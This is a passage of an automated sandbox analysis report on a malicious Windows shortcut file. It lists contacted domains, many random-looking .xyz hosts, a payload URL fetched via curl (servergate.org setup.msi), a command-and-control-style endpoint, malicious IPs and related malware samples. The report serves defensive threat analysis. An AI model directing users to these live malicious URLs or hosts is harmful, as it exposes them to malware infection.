ywmgykycywqqewqw.xyz	unknown	unknown	true		unknown
uyeqwcuyimescesu.xyz	unknown	unknown	true		unknown
sauygqecsusickcu.xyz	unknown	unknown	true		unknown
qumssmeysccykkyo.xyz	unknown	unknown	true		unknown
gceesusqmuockkgw.xyz	unknown	unknown	true		unknown
sesyieaiesegeaow.xyz	unknown	unknown	true		unknown
uosaescwmkiyscay.xyz	unknown	unknown	true		unknown
wssaqmakumewmaes.xyz	unknown	unknown	true		unknown
kimakioiwmawksiw.xyz	unknown	unknown	true		unknown
ekqyosgcumkcecmo.xyz	unknown	unknown	true		unknown
okoykokgycygucya.xyz	unknown	unknown	true		unknown
osaeyoiqoqawauga.xyz	unknown	unknown	true		unknown
kqmsgskwgemyueya.xyz	unknown	unknown	false		high
osoawyeyassgycgy.xyz	unknown	unknown	true		unknown
gieksqwccmmqkemm.xyz	unknown	unknown	true		unknown
goicqsmskkygkkka.xyz	unknown	unknown	true		unknown
www.docusign.com	unknown	unknown	false		high
aoqayemwgmsyuimi.xyz	unknown	unknown	true		unknown
kcwiywyygywkkysk.xyz	unknown	unknown	true		unknown
aaokyscqeecowaci.xyz	unknown	unknown	true		unknown
wggygeoisauouuoc.xyz	unknown	unknown	true		unknown
ismqaewykmoiguki.xyz	unknown	unknown	true		unknown
ekcwemuekgqsimae.xyz	unknown	unknown	true		unknown
owmesaosmycoeceq.xyz	unknown	unknown	true		unknown
eigywisgeoiskekg.xyz	unknown	unknown	true		unknown
iyaikmkkowcqemsi.xyz	unknown	unknown	true		unknown
keykoekseemyiewq.xyz	unknown	unknown	true		unknown
mywaqkeaawisisky.xyz	unknown	unknown	true		unknown
aaeqiiecqqumcgky.xyz	unknown	unknown	true		unknown
aoyeoimcuuqakckw.xyz	unknown	unknown	true		unknown
kiuymkmaomciimcc.xyz	unknown	unknown	true		unknown
smckcsaioceiyasu.xyz	unknown	unknown	true		unknown
kcyakwisycecaqgw.xyz	unknown	unknown	true		unknown
ymysimqoykwqeqiq.xyz	unknown	unknown	true		unknown
qimmkmaumumswocw.xyz	unknown	unknown	true		unknown
skyiqyaeoykwcgiw.xyz	unknown	unknown	true		unknown
mssaogwocegysoow.xyz	unknown	unknown	true		unknown
gmqeqkcqackwkgao.xyz	unknown	unknown	true		unknown
skiwkmaaeeiqqgee.xyz	unknown	unknown	true		unknown
giscmywoiaqmqcmw.xyz	unknown	unknown	true		unknown
cyqqgacqkowwkqqe.xyz	unknown	unknown	true		unknown
qigcqiaomwieqwka.xyz	unknown	unknown	false		high
oywgqkusocouysua.xyz	unknown	unknown	true		unknown
isaeicumkcuwqmqq.xyz	unknown	unknown	true		unknown
okwswuciummewsui.xyz	unknown	unknown	true		unknown
ukmcqucewskcqygg.xyz	unknown	unknown	true		unknown
wgcaouuqqqwucogy.xyz	unknown	unknown	true		unknown
moiimkscmiswaesw.xyz	unknown	unknown	true		unknown
cyemcqwkasuimkgs.xyz	unknown	unknown	true		unknown
qcwcgegyyieaoqca.xyz	unknown	unknown	true		unknown
ieqeeiggkuqcomyo.xyz	unknown	unknown	true		unknown
iagisciiyoemgwaa.xyz	unknown	unknown	true		unknown
ygucsucmagwqsqcu.xyz	unknown	unknown	true		unknown
aiiqyyikowqaygwy.xyz	unknown	unknown	true		unknown
gwwcqeykmseicgaw.xyz	unknown	unknown	true		unknown
skawoueawceoywsy.xyz	unknown	unknown	true		unknown
quyckaioggawuois.xyz	unknown	unknown	true		unknown
mueuwcqsioowsmce.xyz	unknown	unknown	true		unknown
ssmkyomikukusksu.xyz	unknown	unknown	true		unknown
gwyougsgeaaoiumg.xyz	unknown	unknown	true		unknown
qcwaiaiqiwcakawa.xyz	unknown	unknown	true		unknown
suwkomiqcykeyako.xyz	unknown	unknown	true		unknown
ysiwwoeeaaskykaw.xyz	unknown	unknown	true		unknown
ggicikyqcaiyguee.xyz	unknown	unknown	true		unknown
cuaumuqcoeegomsq.xyz	unknown	unknown	true		unknown
kqueagsoikuyocca.xyz	unknown	unknown	true		unknown
acemcwecgiqcukys.xyz	unknown	unknown	true		unknown
ssiooaeoaocuyaow.xyz	unknown	unknown	true		unknown
gwoyamckoqoaauoq.xyz	unknown	unknown	true		unknown
keosqeosukqcooco.xyz	unknown	unknown	true		unknown
oyewqwkusieeoqey.xyz	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdf	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false		high
https://aikmouciiqgecoqi.xyz:443/api/client_hello	false	Avira URL Cloud: malware	unknown
https://chrome.cloudflare-dns.com/dns-query	false		high
https://www.docusign.com/favicon.ico	false		high
https://servergate.org/rt/setup.msi	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Web Data.18.dr	false		high
https://servergate.org/rt/setup.msihr2	curl.exe, 00000002.00000003.2105887924.000002BDA3503000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.2106213520.000002BDA3506000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.whatsapp.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://duckduckgo.com/ac/?q=	Web Data.18.dr	false		high
https://www.docusign.com/	000003.log4.18.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://m.kugou.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.office.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.live.com/mail/0/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.last.fm/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Web Data.18.dr	false		high
https://tidal.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://docs.google.com/	manifest.json0.18.dr	false		high
https://www.youtube.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.instagram.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://gaana.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.18.dr	false		high
https://drive.google.com/	manifest.json0.18.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Web Data.18.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.messenger.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	false		high
https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfindows	cmd.exe, 0000000C.00000002.2311045844.00000000030D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.deezer.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://word.new?from=EdgeM365Shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://outlook.office.com/mail/0/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfC	cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Web Data.18.dr	false		high
https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfD	cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp	false		high
https://m.soundcloud.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.18.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.18.dr	false		high
https://music.amazon.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.18.dr	false		high
https://vibe.naver.com/today	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.18.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://open.spotify.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://twitter.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.18.dr	false		high
https://excel.new?from=EdgeM365Shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false	Avira URL Cloud: safe	unknown
https://web.skype.com/?browsername=edge_stable_shoreline	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.18.dr	false		high
https://m.vk.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.19.dr	false		high
https://servergate.org/rt/setup.msi#	curl.exe, 00000002.00000003.2105887924.000002BDA3503000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.2106213520.000002BDA3506000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	content_new.js.18.dr, content.js.18.dr	false		high
https://www.tiktok.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json0.18.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.18.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.iheart.com/podcast/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://music.yandex.com	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://chromewebstore.google.com/	manifest.json.18.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.18.dr	false		high
https://clients2.googleusercontent.com	794914c4-e8f9-46f6-88c5-01e4028660cb.tmp.19.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://www.docusign.com/sites/default/files/Signature_Appliance_Client_Guide_8.0.pdfC:	cmd.exe, 0000000C.00000002.2310851746.0000000002E20000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2310759087.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2311463514.0000000005100000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://chrome.google.com/webstore/	manifest.json.18.dr	false		high
https://y.music.163.com/m/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.18.dr	false		high
https://bard.google.com/	40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp.18.dr	false		high
https://drive-daily-3.corp.google.com/	manifest.json0.18.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
3.33.186.135	docusign-dxe.netlifyglobalcdn.com	United States	8987	AMAZONEXPANSIONGB	false
166.1.160.166	servergate.org	United States	11798	ACEDATACENTERS-AS-1US	true
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.19.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
166.1.160.237	aikmouciiqgecoqi.xyz	United States	11798	ACEDATACENTERS-AS-1US	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.44.201.5	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573618
Start date and time:	2024-12-12 12:08:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Document.lnk.download.lnk
Detection:	MAL
Classification:	mal84.troj.winLNK@67/250@371/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 13.107.21.239, 204.79.197.239, 13.107.42.16, 172.217.17.78, 13.107.6.158, 172.165.69.228, 172.217.19.170, 2.19.198.56, 23.32.238.138, 2.16.158.33, 2.16.158.40, 2.16.158.171, 2.16.158.192, 2.16.158.35, 2.16.158.186, 2.16.158.34, 2.16.158.187, 2.16.158.185, 142.250.181.99, 13.87.96.169, 217.20.58.99, 2.16.158.75, 2.16.158.83, 2.16.158.80, 2.16.158.82, 2.16.158.91, 2.16.158.170, 2.16.158.88, 2.16.158.96, 2.16.158.90, 142.251.32.99, 142.250.80.35, 142.250.65.163, 13.107.246.63, 172.202.163.200, 94.245.104.56, 20.190.177.148, 23.218.208.109, 23.200.0.34, 104.40.82.182, 13.107.246.40
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, ds-www.docusign.com.akadns.net, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fonts.googleapis.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, bzib.nelreports.net.akamaized.net, prod-agic-us-1.uksouth.cloudapp.azure.com, otelrules.azureedge.net, api.edgeoffer.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-bing-com.b-0005.b-msedge.net, fe3cr.del
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:09:31	API Interceptor	688491x Sleep call for process: setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.61.3	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	https://wetransfer.com/downloads/a83584fea59b11ef1e94d36869e8790020241209234540/89744b9472f9ce1b5e3b4ada79f2184c20241209234540/7041ff?t_exp=1734047140&t_lsid=42d44d78-6d8f-48db-8db5-5efa0c86786d&t_network=email&t_rid=ZW1haWx8Njc0ZjQ5YTNiNjM1NTFjNmY2NTg0N2Zj&t_s=download_link&t_ts=1733787940&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse
	nanophanotool.exe	Get hash	malicious	LummaC Stealer	Browse
	Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.eml	Get hash	malicious	Unknown	Browse
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse
3.33.186.135	https://us.services.docusign.net/webforms-ux/v1.0/forms/de9dbdc77cc2367bb50c45c4d2a0b8c4	Get hash	malicious	Unknown	Browse
	aba5298f.msi	Get hash	malicious	Unknown	Browse
	https://soloist.ai/trigwiki23	Get hash	malicious	Unknown	Browse
	UwBqqeMnswLwstaa.ps1	Get hash	malicious	Unknown	Browse
	CHDLSHtWbSRCfzJMtDO.ps1	Get hash	malicious	Unknown	Browse
	https://url.za.m.mimecastprotect.com/s/0BCLC2RJJxsopvqJcnfRC5V8Fi?domain=form.asana.com	Get hash	malicious	Unknown	Browse
	https://form.asana.com/?k=4CXtmX3TL4hciUOIomfxgQ&d=1207815429321009	Get hash	malicious	Unknown	Browse
	https://pubsec.agreementsdemo.com/	Get hash	malicious	Unknown	Browse
	https://app.asana.com/app/asana/-/log?dest=https%3A%2F%2Fapp.asana.com%2F-%2Fmobile_web_email_login%3Fwa%3D127821c9468d9061b22a0dcde981af4a%26e%3Dbfanguy%2540uscortec.com&se=%7B%22name%22%3A%22AsanaLoaded%22%2C%22action%22%3A%22AsanaLoaded%22%2C%22sub_action%22%3A%22MagicLogin%22%2C%22location%22%3A%22MagicLoginEmail%22%2C%22domain%22%3Anull%2C%22domain_user%22%3Anull%2C%22user%22%3A1195607135831890%2C%22from_amp_email%22%3Afalse%2C%22non_user_action_event%22%3Afalse%2C%22email_uuid%22%3A%221715188399672Idf6803-3d26De4-a3ff3e4e9b9ccd%22%2C%22app_name%22%3A%22email%22%7D&rp=1195607135831890&hash=55999a967007d54aa7f5ae7781466d3ecff5abdb4784c581e8491f53c210d547	Get hash	malicious	Unknown	Browse
172.64.41.3	https://download-695-18811-018-webdav-logicaldoc.cdn-serveri4731-ns.shop/Documents/Instruction_695-18014-012_Rev.PDF.lnk	Get hash	malicious	Unknown	Browse
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	https://listafrica.org/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	172.64.41.3
	751ietQPnX.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	Richiesta di Indagine sulla Violazione del Copyright lnk.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	172.64.41.3
	nanophanotool.exe	Get hash	malicious	LummaC Stealer	Browse	162.159.61.3
	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse	172.64.41.3
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	l92fYljXWF.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	qxjDerXRGR.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	taCCGTk8n1.lnk	Get hash	malicious	RHADAMANTHYS	Browse	94.245.104.56
	1733845413a1d8742853c308d6ac4d050f80c4b91bf14f4919c2728222ecef14ce82d51adb973.dat-decoded.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	Setup.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	17333253674c71ac3d5875ca830e11f4630bf65d3b8b7e2686361e216df980d330c80afb30623.dat-decoded.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	oLY6JbNl9i.bat	Get hash	malicious	Unknown	Browse	94.245.104.56
	9aTcxCmLgM.bat	Get hash	malicious	Unknown	Browse	94.245.104.56
	4l5IFxl9t3.bat	Get hash	malicious	Unknown	Browse	94.245.104.56
	B3N4x4meoJ.bat	Get hash	malicious	Unknown	Browse	94.245.104.56
docusign-dxe.netlifyglobalcdn.com	https://us.services.docusign.net/webforms-ux/v1.0/forms/de9dbdc77cc2367bb50c45c4d2a0b8c4	Get hash	malicious	Unknown	Browse	3.33.186.135
docusign-dxe.netlifyglobalcdn.com	aba5298f.msi	Get hash	malicious	Unknown	Browse	3.33.186.135

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Rockwool-Msg-S9039587897.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.21.96.1
	http://get-derila.com	Get hash	malicious	Unknown	Browse	104.18.19.54
	financial_policy_December 10, 2024.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.245.203
	https://icsportal-update.duckdns.org/sq0.php?session=675a91d9e40e3	Get hash	malicious	Unknown	Browse	104.17.25.14
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	172.67.145.234
	https://url41.mailanyone.net/scanner?m=1tLLkn-000000000Cu-3MPx&d=4%7Cmail%2F90%2F1733919600%2F1tLLkn-000000000Cu-3MPx%7Cin41e%7C57e1b682%7C16739527%7C12325088%7C67598451340A7E7E34A434AD05811D2E&o=%2Fphts%3A%2Futs.s-wr-2petncotsio.etooop%2F.cmhser%3Fd%26.dv%3D2HHu%3D60cMaRtwLyzWIN9dDWQ0j0ZBOMkiZTWDNZlNTGFmj1MdNMhhZDGDZOROGjYu2uZVcIshL13m9bRZWmNz%3D0bwLhYN%26iQVjj%3DWgZ2MNNTwzmZZWIZJlWwW%3DFkM0%26tM2l121NaQSdK5YKQ3FWZeheTURUTubJOt2oOSTWgZtZT2BvQlNBQl%3DUSThT0%26lR04%3D4d05f88a4f83c102fc8d7af5079V%266bP%3DANdsFUUEk0NThTVVNScUSYWBBbgJ7rzlyn1ERkBSzh9qmzIX6xvrbsyM8qb6f4HC59eiDbrDsPv9W1mhDcOFm%23uMyW5bUaWm5iAtZ5cVujem228YFYt9&s=dQ2VS6ieQ8nkhuwt32k9X8A6qOU	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://acg.citnow.com/dashboard	Get hash	malicious	Unknown	Browse	104.17.245.203
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Agreement for Cooperation.PDF.lnk.download.lnk	Get hash	malicious	RedLine	Browse	172.67.223.31
	Agreement for YouTube cooperation.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	172.67.210.76
ACEDATACENTERS-AS-1US	Josho.m68k.elf	Get hash	malicious	Unknown	Browse	108.165.154.42
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	166.0.238.6
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	166.15.108.57
	armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	166.8.131.155
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	166.14.224.85
	https://noisefreqs.com/Ray-verify.html	Get hash	malicious	Unknown	Browse	166.1.209.92
	m68k.elf	Get hash	malicious	Mirai	Browse	166.12.199.105
	http://noisefreqs.com	Get hash	malicious	Unknown	Browse	166.1.209.92
	http://noisefreqs.com	Get hash	malicious	Unknown	Browse	166.1.209.92
AMAZONEXPANSIONGB	RQ--029.msi	Get hash	malicious	AteraAgent	Browse	52.223.39.232
	SHIPPING DOCUMENTS_PDF.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	vFile__0054seconds__Arkansas.html	Get hash	malicious	Unknown	Browse	3.33.220.150
	Atualizador_Fiscal_NFe_37882912.msi	Get hash	malicious	AteraAgent	Browse	52.223.39.232
	https://drive.google.com/uc?export=download&id=1exrW4eArCFn4rWRiZm-_Z8vKtyu_rwNw	Get hash	malicious	HTMLPhisher	Browse	3.33.220.150
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://hongkongliving.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	3.33.155.121
	Mozi.m.elf	Get hash	malicious	Mirai	Browse	3.50.46.176
	EFT Remittance_(Deerequipment)CQDM.html	Get hash	malicious	Unknown	Browse	3.33.220.150
	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Get hash	malicious	FormBook	Browse	3.33.130.190

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
